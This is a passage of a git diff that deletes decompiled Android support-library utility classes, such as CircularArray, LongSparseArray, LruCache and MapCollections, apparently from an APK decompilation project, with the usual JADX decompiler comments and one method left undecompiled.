eArr.length; - int i = this.mHead; - int i2 = length - i; - int i3 = length << 1; - if (i3 < 0) { - throw new RuntimeException("Max array capacity exceeded"); - } - Object[] objArr = new Object[i3]; - System.arraycopy(eArr, i, objArr, 0, i2); - System.arraycopy(this.mElements, 0, objArr, i2, this.mHead); - this.mElements = (E[]) objArr; - this.mHead = 0; - this.mTail = length; - this.mCapacityBitmask = i3 - 1; - } - - public CircularArray() { - this(8); - } - - public CircularArray(int i) { - if (i < 1) { - throw new IllegalArgumentException("capacity must be >= 1"); - } - if (i > 1073741824) { - throw new IllegalArgumentException("capacity must be <= 2^30"); - } - i = Integer.bitCount(i) != 1 ? Integer.highestOneBit(i - 1) << 1 : i; - this.mCapacityBitmask = i - 1; - this.mElements = (E[]) new Object[i]; - } - - public void addFirst(E e) { - int i = (this.mHead - 1) & this.mCapacityBitmask; - this.mHead = i; - this.mElements[i] = e; - if (i == this.mTail) { - doubleCapacity(); - } - } - - public void addLast(E e) { - E[] eArr = this.mElements; - int i = this.mTail; - eArr[i] = e; - int i2 = this.mCapacityBitmask & (i + 1); - this.mTail = i2; - if (i2 == this.mHead) { - doubleCapacity(); - } - } - - public E popFirst() { - int i = this.mHead; - if (i == this.mTail) { - throw new ArrayIndexOutOfBoundsException(); - } - E[] eArr = this.mElements; - E e = eArr[i]; - eArr[i] = null; - this.mHead = (i + 1) & this.mCapacityBitmask; - return e; - } - - public E popLast() { - int i = this.mHead; - int i2 = this.mTail; - if (i == i2) { - throw new ArrayIndexOutOfBoundsException(); - } - int i3 = this.mCapacityBitmask & (i2 - 1); - E[] eArr = this.mElements; - E e = eArr[i3]; - eArr[i3] = null; - this.mTail = i3; - return e; - } - - public void clear() { - removeFromStart(size()); - } - - public void removeFromStart(int i) { - if (i <= 0) { - return; - } - if (i > size()) { - throw new ArrayIndexOutOfBoundsException(); - } - int length = this.mElements.length; - int i2 = this.mHead; - if (i < length - i2) { - length = i2 + i; - } - while (i2 < length) { - this.mElements[i2] = null; - i2++; - } - int i3 = this.mHead; - int i4 = length - i3; - int i5 = i - i4; - this.mHead = this.mCapacityBitmask & (i3 + i4); - if (i5 > 0) { - for (int i6 = 0; i6 < i5; i6++) { - this.mElements[i6] = null; - } - this.mHead = i5; - } - } - - public void removeFromEnd(int i) { - int i2; - if (i <= 0) { - return; - } - if (i > size()) { - throw new ArrayIndexOutOfBoundsException(); - } - int i3 = this.mTail; - int i4 = i < i3 ? i3 - i : 0; - int i5 = i4; - while (true) { - i2 = this.mTail; - if (i5 >= i2) { - break; - } - this.mElements[i5] = null; - i5++; - } - int i6 = i2 - i4; - int i7 = i - i6; - this.mTail = i2 - i6; - if (i7 > 0) { - int length = this.mElements.length; - this.mTail = length; - int i8 = length - i7; - for (int i9 = i8; i9 < this.mTail; i9++) { - this.mElements[i9] = null; - } - this.mTail = i8; - } - } - - public E getFirst() { - int i = this.mHead; - if (i == this.mTail) { - throw new ArrayIndexOutOfBoundsException(); - } - return this.mElements[i]; - } - - public E getLast() { - int i = this.mHead; - int i2 = this.mTail; - if (i == i2) { - throw new ArrayIndexOutOfBoundsException(); - } - return this.mElements[(i2 - 1) & this.mCapacityBitmask]; - } - - public E get(int i) { - if (i < 0 || i >= size()) { - throw new ArrayIndexOutOfBoundsException(); - } - return this.mElements[this.mCapacityBitmask & (this.mHead + i)]; - } - - public int size() { - return (this.mTail - this.mHead) & this.mCapacityBitmask; - } - - public boolean isEmpty() { - return this.mHead == this.mTail; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/CircularIntArray.java b/apk_3230/decompiled_source/sources/android/support/v4/util/CircularIntArray.java deleted file mode 100644 index 15208fe..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/CircularIntArray.java +++ /dev/null @@ -1,140 +0,0 @@ -package android.support.v4.util; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class CircularIntArray { - private int mCapacityBitmask; - private int[] mElements; - private int mHead; - private int mTail; - - private void doubleCapacity() { - int[] iArr = this.mElements; - int length = iArr.length; - int i = this.mHead; - int i2 = length - i; - int i3 = length << 1; - if (i3 < 0) { - throw new RuntimeException("Max array capacity exceeded"); - } - int[] iArr2 = new int[i3]; - System.arraycopy(iArr, i, iArr2, 0, i2); - System.arraycopy(this.mElements, 0, iArr2, i2, this.mHead); - this.mElements = iArr2; - this.mHead = 0; - this.mTail = length; - this.mCapacityBitmask = i3 - 1; - } - - public CircularIntArray() { - this(8); - } - - public CircularIntArray(int i) { - if (i < 1) { - throw new IllegalArgumentException("capacity must be >= 1"); - } - if (i > 1073741824) { - throw new IllegalArgumentException("capacity must be <= 2^30"); - } - i = Integer.bitCount(i) != 1 ? Integer.highestOneBit(i - 1) << 1 : i; - this.mCapacityBitmask = i - 1; - this.mElements = new int[i]; - } - - public void addFirst(int i) { - int i2 = (this.mHead - 1) & this.mCapacityBitmask; - this.mHead = i2; - this.mElements[i2] = i; - if (i2 == this.mTail) { - doubleCapacity(); - } - } - - public void addLast(int i) { - int[] iArr = this.mElements; - int i2 = this.mTail; - iArr[i2] = i; - int i3 = this.mCapacityBitmask & (i2 + 1); - this.mTail = i3; - if (i3 == this.mHead) { - doubleCapacity(); - } - } - - public int popFirst() { - int i = this.mHead; - if (i == this.mTail) { - throw new ArrayIndexOutOfBoundsException(); - } - int i2 = this.mElements[i]; - this.mHead = (i + 1) & this.mCapacityBitmask; - return i2; - } - - public int popLast() { - int i = this.mHead; - int i2 = this.mTail; - if (i == i2) { - throw new ArrayIndexOutOfBoundsException(); - } - int i3 = this.mCapacityBitmask & (i2 - 1); - int i4 = this.mElements[i3]; - this.mTail = i3; - return i4; - } - - public void clear() { - this.mTail = this.mHead; - } - - public void removeFromStart(int i) { - if (i <= 0) { - return; - } - if (i > size()) { - throw new ArrayIndexOutOfBoundsException(); - } - this.mHead = this.mCapacityBitmask & (this.mHead + i); - } - - public void removeFromEnd(int i) { - if (i <= 0) { - return; - } - if (i > size()) { - throw new ArrayIndexOutOfBoundsException(); - } - this.mTail = this.mCapacityBitmask & (this.mTail - i); - } - - public int getFirst() { - int i = this.mHead; - if (i == this.mTail) { - throw new ArrayIndexOutOfBoundsException(); - } - return this.mElements[i]; - } - - public int getLast() { - int i = this.mHead; - int i2 = this.mTail; - if (i == i2) { - throw new ArrayIndexOutOfBoundsException(); - } - return this.mElements[(i2 - 1) & this.mCapacityBitmask]; - } - - public int get(int i) { - if (i < 0 || i >= size()) { - throw new ArrayIndexOutOfBoundsException(); - } - return this.mElements[this.mCapacityBitmask & (this.mHead + i)]; - } - - public int size() { - return (this.mTail - this.mHead) & this.mCapacityBitmask; - } - - public boolean isEmpty() { - return this.mHead == this.mTail; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/ContainerHelpers.java b/apk_3230/decompiled_source/sources/android/support/v4/util/ContainerHelpers.java deleted file mode 100644 index 65f420e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/ContainerHelpers.java +++ /dev/null @@ -1,68 +0,0 @@ -package android.support.v4.util; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ContainerHelpers { - static final int[] EMPTY_INTS = new int[0]; - static final long[] EMPTY_LONGS = new long[0]; - static final Object[] EMPTY_OBJECTS = new Object[0]; - - public static int idealByteArraySize(int i) { - for (int i2 = 4; i2 < 32; i2++) { - int i3 = (1 << i2) - 12; - if (i <= i3) { - return i3; - } - } - return i; - } - - ContainerHelpers() { - } - - public static int idealIntArraySize(int i) { - return idealByteArraySize(i * 4) / 4; - } - - public static int idealLongArraySize(int i) { - return idealByteArraySize(i * 8) / 8; - } - - public static boolean equal(Object obj, Object obj2) { - return obj == obj2 || (obj != null && obj.equals(obj2)); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int binarySearch(int[] iArr, int i, int i2) { - int i3 = i - 1; - int i4 = 0; - while (i4 <= i3) { - int i5 = (i4 + i3) >>> 1; - int i6 = iArr[i5]; - if (i6 < i2) { - i4 = i5 + 1; - } else if (i6 <= i2) { - return i5; - } else { - i3 = i5 - 1; - } - } - return ~i4; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int binarySearch(long[] jArr, int i, long j) { - int i2 = i - 1; - int i3 = 0; - while (i3 <= i2) { - int i4 = (i3 + i2) >>> 1; - int i5 = (jArr[i4] > j ? 1 : (jArr[i4] == j ? 0 : -1)); - if (i5 < 0) { - i3 = i4 + 1; - } else if (i5 <= 0) { - return i4; - } else { - i2 = i4 - 1; - } - } - return ~i3; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/DebugUtils.java b/apk_3230/decompiled_source/sources/android/support/v4/util/DebugUtils.java deleted file mode 100644 index fa27f55..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/DebugUtils.java +++ /dev/null @@ -1,18 +0,0 @@ -package android.support.v4.util; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class DebugUtils { - public static void buildShortClassTag(Object obj, StringBuilder sb) { - int lastIndexOf; - if (obj == null) { - sb.append("null"); - return; - } - String simpleName = obj.getClass().getSimpleName(); - if ((simpleName == null || simpleName.length() <= 0) && (lastIndexOf = (simpleName = obj.getClass().getName()).lastIndexOf(46)) > 0) { - simpleName = simpleName.substring(lastIndexOf + 1); - } - sb.append(simpleName); - sb.append('{'); - sb.append(Integer.toHexString(System.identityHashCode(obj))); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/LogWriter.java b/apk_3230/decompiled_source/sources/android/support/v4/util/LogWriter.java deleted file mode 100644 index 2c4c991..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/LogWriter.java +++ /dev/null @@ -1,43 +0,0 @@ -package android.support.v4.util; - -import android.util.Log; -import java.io.Writer; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class LogWriter extends Writer { - private StringBuilder mBuilder = new StringBuilder(128); - private final String mTag; - - public LogWriter(String str) { - this.mTag = str; - } - - @Override // java.io.Writer, java.io.Closeable, java.lang.AutoCloseable - public void close() { - flushBuilder(); - } - - @Override // java.io.Writer, java.io.Flushable - public void flush() { - flushBuilder(); - } - - @Override // java.io.Writer - public void write(char[] cArr, int i, int i2) { - for (int i3 = 0; i3 < i2; i3++) { - char c = cArr[i + i3]; - if (c == '\n') { - flushBuilder(); - } else { - this.mBuilder.append(c); - } - } - } - - private void flushBuilder() { - if (this.mBuilder.length() > 0) { - Log.d(this.mTag, this.mBuilder.toString()); - StringBuilder sb = this.mBuilder; - sb.delete(0, sb.length()); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/LongSparseArray.java b/apk_3230/decompiled_source/sources/android/support/v4/util/LongSparseArray.java deleted file mode 100644 index b93ca01..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/LongSparseArray.java +++ /dev/null @@ -1,251 +0,0 @@ -package android.support.v4.util; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class LongSparseArray implements Cloneable { - private static final Object DELETED = new Object(); - private boolean mGarbage; - private long[] mKeys; - private int mSize; - private Object[] mValues; - - public LongSparseArray() { - this(10); - } - - public LongSparseArray(int i) { - this.mGarbage = false; - if (i == 0) { - this.mKeys = ContainerHelpers.EMPTY_LONGS; - this.mValues = ContainerHelpers.EMPTY_OBJECTS; - } else { - int idealLongArraySize = ContainerHelpers.idealLongArraySize(i); - this.mKeys = new long[idealLongArraySize]; - this.mValues = new Object[idealLongArraySize]; - } - this.mSize = 0; - } - - /* renamed from: clone */ - public LongSparseArray m2clone() { - LongSparseArray longSparseArray = null; - try { - LongSparseArray longSparseArray2 = (LongSparseArray) super.clone(); - try { - longSparseArray2.mKeys = (long[]) this.mKeys.clone(); - longSparseArray2.mValues = (Object[]) this.mValues.clone(); - return longSparseArray2; - } catch (CloneNotSupportedException unused) { - longSparseArray = longSparseArray2; - return longSparseArray; - } - } catch (CloneNotSupportedException unused2) { - } - } - - public E get(long j) { - return get(j, null); - } - - public E get(long j, E e) { - E e2; - int binarySearch = ContainerHelpers.binarySearch(this.mKeys, this.mSize, j); - return (binarySearch < 0 || (e2 = (E) this.mValues[binarySearch]) == DELETED) ? e : e2; - } - - public void delete(long j) { - int binarySearch = ContainerHelpers.binarySearch(this.mKeys, this.mSize, j); - if (binarySearch >= 0) { - Object[] objArr = this.mValues; - Object obj = objArr[binarySearch]; - Object obj2 = DELETED; - if (obj != obj2) { - objArr[binarySearch] = obj2; - this.mGarbage = true; - } - } - } - - public void remove(long j) { - delete(j); - } - - public void removeAt(int i) { - Object[] objArr = this.mValues; - Object obj = objArr[i]; - Object obj2 = DELETED; - if (obj != obj2) { - objArr[i] = obj2; - this.mGarbage = true; - } - } - - private void gc() { - int i = this.mSize; - long[] jArr = this.mKeys; - Object[] objArr = this.mValues; - int i2 = 0; - for (int i3 = 0; i3 < i; i3++) { - Object obj = objArr[i3]; - if (obj != DELETED) { - if (i3 != i2) { - jArr[i2] = jArr[i3]; - objArr[i2] = obj; - objArr[i3] = null; - } - i2++; - } - } - this.mGarbage = false; - this.mSize = i2; - } - - public void put(long j, E e) { - int binarySearch = ContainerHelpers.binarySearch(this.mKeys, this.mSize, j); - if (binarySearch >= 0) { - this.mValues[binarySearch] = e; - return; - } - int i = ~binarySearch; - int i2 = this.mSize; - if (i < i2) { - Object[] objArr = this.mValues; - if (objArr[i] == DELETED) { - this.mKeys[i] = j; - objArr[i] = e; - return; - } - } - if (this.mGarbage && i2 >= this.mKeys.length) { - gc(); - i = ~ContainerHelpers.binarySearch(this.mKeys, this.mSize, j); - } - int i3 = this.mSize; - if (i3 >= this.mKeys.length) { - int idealLongArraySize = ContainerHelpers.idealLongArraySize(i3 + 1); - long[] jArr = new long[idealLongArraySize]; - Object[] objArr2 = new Object[idealLongArraySize]; - long[] jArr2 = this.mKeys; - System.arraycopy(jArr2, 0, jArr, 0, jArr2.length); - Object[] objArr3 = this.mValues; - System.arraycopy(objArr3, 0, objArr2, 0, objArr3.length); - this.mKeys = jArr; - this.mValues = objArr2; - } - int i4 = this.mSize; - if (i4 - i != 0) { - long[] jArr3 = this.mKeys; - int i5 = i + 1; - System.arraycopy(jArr3, i, jArr3, i5, i4 - i); - Object[] objArr4 = this.mValues; - System.arraycopy(objArr4, i, objArr4, i5, this.mSize - i); - } - this.mKeys[i] = j; - this.mValues[i] = e; - this.mSize++; - } - - public int size() { - if (this.mGarbage) { - gc(); - } - return this.mSize; - } - - public long keyAt(int i) { - if (this.mGarbage) { - gc(); - } - return this.mKeys[i]; - } - - public E valueAt(int i) { - if (this.mGarbage) { - gc(); - } - return (E) this.mValues[i]; - } - - public void setValueAt(int i, E e) { - if (this.mGarbage) { - gc(); - } - this.mValues[i] = e; - } - - public int indexOfKey(long j) { - if (this.mGarbage) { - gc(); - } - return ContainerHelpers.binarySearch(this.mKeys, this.mSize, j); - } - - public int indexOfValue(E e) { - if (this.mGarbage) { - gc(); - } - for (int i = 0; i < this.mSize; i++) { - if (this.mValues[i] == e) { - return i; - } - } - return -1; - } - - public void clear() { - int i = this.mSize; - Object[] objArr = this.mValues; - for (int i2 = 0; i2 < i; i2++) { - objArr[i2] = null; - } - this.mSize = 0; - this.mGarbage = false; - } - - public void append(long j, E e) { - int i = this.mSize; - if (i != 0 && j <= this.mKeys[i - 1]) { - put(j, e); - return; - } - if (this.mGarbage && i >= this.mKeys.length) { - gc(); - } - int i2 = this.mSize; - if (i2 >= this.mKeys.length) { - int idealLongArraySize = ContainerHelpers.idealLongArraySize(i2 + 1); - long[] jArr = new long[idealLongArraySize]; - Object[] objArr = new Object[idealLongArraySize]; - long[] jArr2 = this.mKeys; - System.arraycopy(jArr2, 0, jArr, 0, jArr2.length); - Object[] objArr2 = this.mValues; - System.arraycopy(objArr2, 0, objArr, 0, objArr2.length); - this.mKeys = jArr; - this.mValues = objArr; - } - this.mKeys[i2] = j; - this.mValues[i2] = e; - this.mSize = i2 + 1; - } - - public String toString() { - if (size() <= 0) { - return "{}"; - } - StringBuilder sb = new StringBuilder(this.mSize * 28); - sb.append('{'); - for (int i = 0; i < this.mSize; i++) { - if (i > 0) { - sb.append(", "); - } - sb.append(keyAt(i)); - sb.append('='); - E valueAt = valueAt(i); - if (valueAt != this) { - sb.append(valueAt); - } else { - sb.append("(this Map)"); - } - } - sb.append('}'); - return sb.toString(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/LruCache.java b/apk_3230/decompiled_source/sources/android/support/v4/util/LruCache.java deleted file mode 100644 index dedff26..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/LruCache.java +++ /dev/null @@ -1,238 +0,0 @@ -package android.support.v4.util; - -import java.util.LinkedHashMap; -import java.util.Map; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class LruCache { - private int createCount; - private int evictionCount; - private int hitCount; - private final LinkedHashMap map; - private int maxSize; - private int missCount; - private int putCount; - private int size; - - protected V create(K k) { - return null; - } - - protected void entryRemoved(boolean z, K k, V v, V v2) { - } - - protected int sizeOf(K k, V v) { - return 1; - } - - public LruCache(int i) { - if (i <= 0) { - throw new IllegalArgumentException("maxSize <= 0"); - } - this.maxSize = i; - this.map = new LinkedHashMap<>(0, 0.75f, true); - } - - public void resize(int i) { - if (i <= 0) { - throw new IllegalArgumentException("maxSize <= 0"); - } - synchronized (this) { - this.maxSize = i; - } - trimToSize(i); - } - - public final V get(K k) { - V put; - if (k == null) { - throw new NullPointerException("key == null"); - } - synchronized (this) { - V v = this.map.get(k); - if (v != null) { - this.hitCount++; - return v; - } - this.missCount++; - V create = create(k); - if (create == null) { - return null; - } - synchronized (this) { - this.createCount++; - put = this.map.put(k, create); - if (put != null) { - this.map.put(k, put); - } else { - this.size += safeSizeOf(k, create); - } - } - if (put != null) { - entryRemoved(false, k, create, put); - return put; - } - trimToSize(this.maxSize); - return create; - } - } - - public final V put(K k, V v) { - V put; - if (k == null || v == null) { - throw new NullPointerException("key == null || value == null"); - } - synchronized (this) { - this.putCount++; - this.size += safeSizeOf(k, v); - put = this.map.put(k, v); - if (put != null) { - this.size -= safeSizeOf(k, put); - } - } - if (put != null) { - entryRemoved(false, k, put, v); - } - trimToSize(this.maxSize); - return put; - } - - /* JADX WARN: Code restructure failed: missing block: B:20:0x0072, code lost: - throw new java.lang.IllegalStateException(getClass().getName() + ".sizeOf() is reporting inconsistent results!"); - */ - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public void trimToSize(int r5) { - /* - r4 = this; - L0: - monitor-enter(r4) - int r0 = r4.size // Catch: java.lang.Throwable -> L73 - if (r0 < 0) goto L52 - java.util.LinkedHashMap r0 = r4.map // Catch: java.lang.Throwable -> L73 - boolean r0 = r0.isEmpty() // Catch: java.lang.Throwable -> L73 - if (r0 == 0) goto L11 - int r0 = r4.size // Catch: java.lang.Throwable -> L73 - if (r0 != 0) goto L52 - L11: - int r0 = r4.size // Catch: java.lang.Throwable -> L73 - if (r0 <= r5) goto L50 - java.util.LinkedHashMap r0 = r4.map // Catch: java.lang.Throwable -> L73 - boolean r0 = r0.isEmpty() // Catch: java.lang.Throwable -> L73 - if (r0 == 0) goto L1e - goto L50 - L1e: - java.util.LinkedHashMap r0 = r4.map // Catch: java.lang.Throwable -> L73 - java.util.Set r0 = r0.entrySet() // Catch: java.lang.Throwable -> L73 - java.util.Iterator r0 = r0.iterator() // Catch: java.lang.Throwable -> L73 - java.lang.Object r0 = r0.next() // Catch: java.lang.Throwable -> L73 - java.util.Map$Entry r0 = (java.util.Map.Entry) r0 // Catch: java.lang.Throwable -> L73 - java.lang.Object r1 = r0.getKey() // Catch: java.lang.Throwable -> L73 - java.lang.Object r0 = r0.getValue() // Catch: java.lang.Throwable -> L73 - java.util.LinkedHashMap r2 = r4.map // Catch: java.lang.Throwable -> L73 - r2.remove(r1) // Catch: java.lang.Throwable -> L73 - int r2 = r4.size // Catch: java.lang.Throwable -> L73 - int r3 = r4.safeSizeOf(r1, r0) // Catch: java.lang.Throwable -> L73 - int r2 = r2 - r3 - r4.size = r2 // Catch: java.lang.Throwable -> L73 - int r2 = r4.evictionCount // Catch: java.lang.Throwable -> L73 - r3 = 1 - int r2 = r2 + r3 - r4.evictionCount = r2 // Catch: java.lang.Throwable -> L73 - monitor-exit(r4) // Catch: java.lang.Throwable -> L73 - r2 = 0 - r4.entryRemoved(r3, r1, r0, r2) - goto L0 - L50: - monitor-exit(r4) // Catch: java.lang.Throwable -> L73 - return - L52: - java.lang.IllegalStateException r5 = new java.lang.IllegalStateException // Catch: java.lang.Throwable -> L73 - java.lang.StringBuilder r0 = new java.lang.StringBuilder // Catch: java.lang.Throwable -> L73 - r0.() // Catch: java.lang.Throwable -> L73 - java.lang.Class r1 = r4.getClass() // Catch: java.lang.Throwable -> L73 - java.lang.String r1 = r1.getName() // Catch: java.lang.Throwable -> L73 - java.lang.StringBuilder r0 = r0.append(r1) // Catch: java.lang.Throwable -> L73 - java.lang.String r1 = ".sizeOf() is reporting inconsistent results!" - java.lang.StringBuilder r0 = r0.append(r1) // Catch: java.lang.Throwable -> L73 - java.lang.String r0 = r0.toString() // Catch: java.lang.Throwable -> L73 - r5.(r0) // Catch: java.lang.Throwable -> L73 - throw r5 // Catch: java.lang.Throwable -> L73 - L73: - r5 = move-exception - monitor-exit(r4) // Catch: java.lang.Throwable -> L73 - throw r5 - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.util.LruCache.trimToSize(int):void"); - } - - public final V remove(K k) { - V remove; - if (k == null) { - throw new NullPointerException("key == null"); - } - synchronized (this) { - remove = this.map.remove(k); - if (remove != null) { - this.size -= safeSizeOf(k, remove); - } - } - if (remove != null) { - entryRemoved(false, k, remove, null); - } - return remove; - } - - private int safeSizeOf(K k, V v) { - int sizeOf = sizeOf(k, v); - if (sizeOf >= 0) { - return sizeOf; - } - throw new IllegalStateException("Negative size: " + k + "=" + v); - } - - public final void evictAll() { - trimToSize(-1); - } - - public final synchronized int size() { - return this.size; - } - - public final synchronized int maxSize() { - return this.maxSize; - } - - public final synchronized int hitCount() { - return this.hitCount; - } - - public final synchronized int missCount() { - return this.missCount; - } - - public final synchronized int createCount() { - return this.createCount; - } - - public final synchronized int putCount() { - return this.putCount; - } - - public final synchronized int evictionCount() { - return this.evictionCount; - } - - public final synchronized Map snapshot() { - return new LinkedHashMap(this.map); - } - - public final synchronized String toString() { - int i; - int i2; - i = this.hitCount; - i2 = this.missCount + i; - return String.format("LruCache[maxSize=%d,hits=%d,misses=%d,hitRate=%d%%]", Integer.valueOf(this.maxSize), Integer.valueOf(this.hitCount), Integer.valueOf(this.missCount), Integer.valueOf(i2 != 0 ? (i * 100) / i2 : 0)); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/MapCollections.java b/apk_3230/decompiled_source/sources/android/support/v4/util/MapCollections.java deleted file mode 100644 index db4ed8b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/MapCollections.java +++ /dev/null @@ -1,554 +0,0 @@ -package android.support.v4.util; - -import java.lang.reflect.Array; -import java.util.Collection; -import java.util.Iterator; -import java.util.Map; -import java.util.Set; -/* JADX INFO: Access modifiers changed from: package-private */ -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class MapCollections { - MapCollections.EntrySet mEntrySet; - MapCollections.KeySet mKeySet; - MapCollections.ValuesCollection mValues; - - protected abstract void colClear(); - - protected abstract Object colGetEntry(int i, int i2); - - protected abstract Map colGetMap(); - - protected abstract int colGetSize(); - - protected abstract int colIndexOfKey(Object obj); - - protected abstract int colIndexOfValue(Object obj); - - protected abstract void colPut(K k, V v); - - protected abstract void colRemoveAt(int i); - - protected abstract V colSetValue(int i, V v); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - final class ArrayIterator implements Iterator { - boolean mCanRemove = false; - int mIndex; - final int mOffset; - int mSize; - - ArrayIterator(int i) { - this.mOffset = i; - this.mSize = MapCollections.this.colGetSize(); - } - - @Override // java.util.Iterator - public boolean hasNext() { - return this.mIndex < this.mSize; - } - - @Override // java.util.Iterator - public T next() { - T t = (T) MapCollections.this.colGetEntry(this.mIndex, this.mOffset); - this.mIndex++; - this.mCanRemove = true; - return t; - } - - @Override // java.util.Iterator - public void remove() { - if (!this.mCanRemove) { - throw new IllegalStateException(); - } - int i = this.mIndex - 1; - this.mIndex = i; - this.mSize--; - this.mCanRemove = false; - MapCollections.this.colRemoveAt(i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - final class MapIterator implements Iterator>, Map.Entry { - int mEnd; - boolean mEntryValid = false; - int mIndex = -1; - - MapIterator() { - this.mEnd = MapCollections.this.colGetSize() - 1; - } - - @Override // java.util.Iterator - public boolean hasNext() { - return this.mIndex < this.mEnd; - } - - @Override // java.util.Iterator - public Map.Entry next() { - this.mIndex++; - this.mEntryValid = true; - return this; - } - - @Override // java.util.Iterator - public void remove() { - if (!this.mEntryValid) { - throw new IllegalStateException(); - } - MapCollections.this.colRemoveAt(this.mIndex); - this.mIndex--; - this.mEnd--; - this.mEntryValid = false; - } - - @Override // java.util.Map.Entry - public K getKey() { - if (!this.mEntryValid) { - throw new IllegalStateException("This container does not support retaining Map.Entry objects"); - } - return (K) MapCollections.this.colGetEntry(this.mIndex, 0); - } - - @Override // java.util.Map.Entry - public V getValue() { - if (!this.mEntryValid) { - throw new IllegalStateException("This container does not support retaining Map.Entry objects"); - } - return (V) MapCollections.this.colGetEntry(this.mIndex, 1); - } - - @Override // java.util.Map.Entry - public V setValue(V v) { - if (!this.mEntryValid) { - throw new IllegalStateException("This container does not support retaining Map.Entry objects"); - } - return (V) MapCollections.this.colSetValue(this.mIndex, v); - } - - @Override // java.util.Map.Entry - public final boolean equals(Object obj) { - if (!this.mEntryValid) { - throw new IllegalStateException("This container does not support retaining Map.Entry objects"); - } - if (obj instanceof Map.Entry) { - Map.Entry entry = (Map.Entry) obj; - return ContainerHelpers.equal(entry.getKey(), MapCollections.this.colGetEntry(this.mIndex, 0)) && ContainerHelpers.equal(entry.getValue(), MapCollections.this.colGetEntry(this.mIndex, 1)); - } - return false; - } - - @Override // java.util.Map.Entry - public final int hashCode() { - if (!this.mEntryValid) { - throw new IllegalStateException("This container does not support retaining Map.Entry objects"); - } - Object colGetEntry = MapCollections.this.colGetEntry(this.mIndex, 0); - Object colGetEntry2 = MapCollections.this.colGetEntry(this.mIndex, 1); - return (colGetEntry == null ? 0 : colGetEntry.hashCode()) ^ (colGetEntry2 != null ? colGetEntry2.hashCode() : 0); - } - - public final String toString() { - return getKey() + "=" + getValue(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - final class EntrySet implements Set> { - EntrySet() { - } - - @Override // java.util.Set, java.util.Collection - public /* bridge */ /* synthetic */ boolean add(Object obj) { - return add((Map.Entry) ((Map.Entry) obj)); - } - - public boolean add(Map.Entry entry) { - throw new UnsupportedOperationException(); - } - - @Override // java.util.Set, java.util.Collection - public boolean addAll(Collection> collection) { - int colGetSize = MapCollections.this.colGetSize(); - for (Map.Entry entry : collection) { - MapCollections.this.colPut(entry.getKey(), entry.getValue()); - } - return colGetSize != MapCollections.this.colGetSize(); - } - - @Override // java.util.Set, java.util.Collection - public void clear() { - MapCollections.this.colClear(); - } - - @Override // java.util.Set, java.util.Collection - public boolean contains(Object obj) { - if (obj instanceof Map.Entry) { - Map.Entry entry = (Map.Entry) obj; - int colIndexOfKey = MapCollections.this.colIndexOfKey(entry.getKey()); - if (colIndexOfKey < 0) { - return false; - } - return ContainerHelpers.equal(MapCollections.this.colGetEntry(colIndexOfKey, 1), entry.getValue()); - } - return false; - } - - @Override // java.util.Set, java.util.Collection - public boolean containsAll(Collection collection) { - Iterator it = collection.iterator(); - while (it.hasNext()) { - if (!contains(it.next())) { - return false; - } - } - return true; - } - - @Override // java.util.Set, java.util.Collection - public boolean isEmpty() { - return MapCollections.this.colGetSize() == 0; - } - - @Override // java.util.Set, java.util.Collection, java.lang.Iterable - public Iterator> iterator() { - return new MapIterator(); - } - - @Override // java.util.Set, java.util.Collection - public boolean remove(Object obj) { - throw new UnsupportedOperationException(); - } - - @Override // java.util.Set, java.util.Collection - public boolean removeAll(Collection collection) { - throw new UnsupportedOperationException(); - } - - @Override // java.util.Set, java.util.Collection - public boolean retainAll(Collection collection) { - throw new UnsupportedOperationException(); - } - - @Override // java.util.Set, java.util.Collection - public int size() { - return MapCollections.this.colGetSize(); - } - - @Override // java.util.Set, java.util.Collection - public Object[] toArray() { - throw new UnsupportedOperationException(); - } - - @Override // java.util.Set, java.util.Collection - public T[] toArray(T[] tArr) { - throw new UnsupportedOperationException(); - } - - @Override // java.util.Set, java.util.Collection - public boolean equals(Object obj) { - return MapCollections.equalsSetHelper(this, obj); - } - - @Override // java.util.Set, java.util.Collection - public int hashCode() { - int i = 0; - for (int colGetSize = MapCollections.this.colGetSize() - 1; colGetSize >= 0; colGetSize--) { - Object colGetEntry = MapCollections.this.colGetEntry(colGetSize, 0); - Object colGetEntry2 = MapCollections.this.colGetEntry(colGetSize, 1); - i += (colGetEntry == null ? 0 : colGetEntry.hashCode()) ^ (colGetEntry2 == null ? 0 : colGetEntry2.hashCode()); - } - return i; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - final class KeySet implements Set { - KeySet() { - } - - @Override // java.util.Set, java.util.Collection - public boolean add(K k) { - throw new UnsupportedOperationException(); - } - - @Override // java.util.Set, java.util.Collection - public boolean addAll(Collection collection) { - throw new UnsupportedOperationException(); - } - - @Override // java.util.Set, java.util.Collection - public void clear() { - MapCollections.this.colClear(); - } - - @Override // java.util.Set, java.util.Collection - public boolean contains(Object obj) { - return MapCollections.this.colIndexOfKey(obj) >= 0; - } - - 